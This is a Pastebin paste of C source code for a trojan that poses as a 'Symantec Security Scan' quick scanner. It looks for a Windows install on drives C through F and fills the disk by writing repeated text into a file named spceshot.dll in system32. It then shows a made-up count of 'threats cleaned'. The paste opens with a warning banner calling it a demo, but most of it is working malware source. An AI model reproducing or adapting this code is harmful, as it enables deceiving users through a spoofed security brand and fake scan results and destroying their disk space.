Guest User

Untitled

a guest
Feb 17th, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.79 KB | None | 0 0
  1. #include<stdio.h>
  2. #include<conio.h>
  3. #include<dos.h>
  4. #include<stdlib.h>
  5. FILE *a,*t,*b;
  6. int r,status,vir_count;
  7. double i;
  8. char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;
  9.  
  10. void eatspace(void);
  11. void findroot(void);
  12. void showstatus(void);
  13. void draw(void);
  14. void accept(void);
  15.  
  16. void main()
  17. {
  18. draw();
  19. accept();
  20. textcolor(WHITE);
  21. draw();
  22. gotoxy(12,8);
  23. cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
  24. sleep(3);
  25. gotoxy(12,8);
  26. delline();
  27. cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
  28. getch();
  29. gotoxy(12,8);
  30. delline();
  31. findroot();
  32. }
  33.  
  34. void accept()
  35. {
  36. textcolor(LIGHTRED);
  37. gotoxy(1,8);
  38. cputs("THIS PROGRAM IS A DEMO OF SIMPLE TROJAN HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.dll\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");
  39.  
  40. if((choice=getch())!=13)
  41. exit(0);
  42. }
  43.  
  44. void draw()
  45. {
  46. clrscr();
  47. textcolor(WHITE);
  48. gotoxy(12,2);
  49. cputs("********************************************************");
  50. gotoxy(12,6);
  51. cputs("********************************************************");
  52. gotoxy(12,3);
  53. cputs("*\n\b*\n\b*\n\b");
  54. gotoxy(67,3);
  55. cputs("*\n\b*\n\b*\n\b");
  56. gotoxy(14,4);
  57. cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
  58. }
  59.  
  60. void findroot()
  61. {
  62. t=fopen("C:\\windows\\explorer.exe","rb");
  63. if(t!=NULL)
  64. {
  65. fclose(t);
  66. textcolor(WHITE);
  67. a=fopen("C:\\windows\\system32\\spceshot.dll","rb");
  68. if(a!=NULL)
  69. {
  70. textcolor(LIGHTRED);
  71. gotoxy(12,8);
  72. cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
  73. getch();
  74. exit(1);
  75. }
  76. b=fopen("C:\\windows\\system32\\spceshot.dll","wb+");
  77. if(b!=NULL)
  78. {
  79. showstatus();
  80. eatspace();
  81. }
  82. }
  83. t=fopen("D:\\windows\\explorer.exe","rb");
  84. if(t!=NULL)
  85. {
  86. fclose(t);
  87. a=fopen("D:\\windows\\system32\\spceshot.dll","rb");
  88. if(a!=NULL)
  89. {
  90. textcolor(LIGHTRED);
  91. gotoxy(12,8);
  92. cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
  93. getch();
  94. exit(1);
  95. }
  96. b=fopen("D:\\windows\\system32\\spceshot.dll","wb+");
  97. if(b!=NULL)
  98. {
  99. showstatus();
  100. eatspace();
  101. }
  102. }
  103. t=fopen("E:\\windows\\explorer.exe","rb");
  104. if(t!=NULL)
  105. {
  106. fclose(t);
  107. a=fopen("E:\\windows\\system32\\spceshot.dll","rb");
  108. if(a!=NULL)
  109. {
  110. textcolor(LIGHTRED);
  111. gotoxy(12,8);
  112. cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
  113. getch();
  114. exit(1);
  115. }
  116. b=fopen("E:\\windows\\system32\\spceshot.dll","wb+");
  117. if(b!=NULL)
  118. {
  119. showstatus();
  120. eatspace();
  121. }
  122. }
  123. t=fopen("F:\\windows\\explorer.exe","rb");
  124. if(t!=NULL)
  125. {
  126. fclose(t);
  127. a=fopen("F:\\windows\\system32\\spceshot.dll","rb");
  128. if(a!=NULL)
  129. {
  130. textcolor(LIGHTRED);
  131. gotoxy(12,8);
  132. cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
  133. getch();
  134. exit(1);
  135. }
  136. b=fopen("F:\\windows\\system32\\spceshot.dll","wb+");
  137. if(b!=NULL)
  138. {
  139. showstatus();
  140. eatspace();
  141. }
  142. }
  143. if(t==NULL)
  144. {
  145. textcolor(LIGHTRED);
  146. gotoxy(12,8);
  147. cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
  148. getch();
  149. exit(1);
  150. }
  151. exit(1);
  152. }
  153.  
  154. void eatspace()
  155. {
  156. textcolor(LIGHTRED);
  157. gotoxy(12,16);
  158. cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
  159. textcolor(WHITE);
  160. gotoxy(12,18);
  161. while(1)
  162. {
  163. for(r=1;r<4;r++)
  164. {
  165. for(i=1;i<900000;i++)
  166. {
  167. status=fputs(ch,b);
  168. if(status==EOF)
  169. {
  170. textcolor(WHITE);
  171. vir_count=random(120);
  172. draw();
  173. gotoxy(12,8);
  174. cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
  175. gotoxy(12,10);
  176. cprintf("PRESS ANY KEY TO CLOSE...");
  177. getch();
  178. break;
  179. }
  180. }
  181. cputs(".");
  182. if(status==EOF) break;
  183. }
  184. if(status==EOF) break;
  185. }
  186. exit(0);
  187. }
  188.  
  189. void showstatus()
  190. {
  191. gotoxy(12,8);
  192. cputs("SCANNING THE SYSTEM FOR THREATS");
  193. gotoxy(12,10);
  194. cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
  195. gotoxy(12,13);
  196. cputs("SCAN IN PROGRESS. PLEASE WAIT...");
  197. }
Add Comment
Please, Sign In to add comment